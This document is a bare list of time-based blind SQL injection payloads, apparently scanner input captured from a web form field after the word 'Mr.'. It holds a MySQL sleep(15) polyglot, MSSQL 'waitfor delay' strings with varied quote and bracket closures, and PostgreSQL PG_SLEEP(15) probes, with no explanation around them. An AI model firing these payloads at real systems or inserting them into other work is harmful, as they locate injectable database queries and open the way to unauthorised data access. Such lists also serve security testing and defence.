Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

G1pZTMWs'; waitfor delay '0:0:15' --

jtThzjgA'); waitfor delay '0:0:15' --

8YfupXqK')); waitfor delay '0:0:15' --

-5 OR 220=(SELECT 220 FROM PG_SLEEP(15))--

-5) OR 147=(SELECT 147 FROM PG_SLEEP(15))--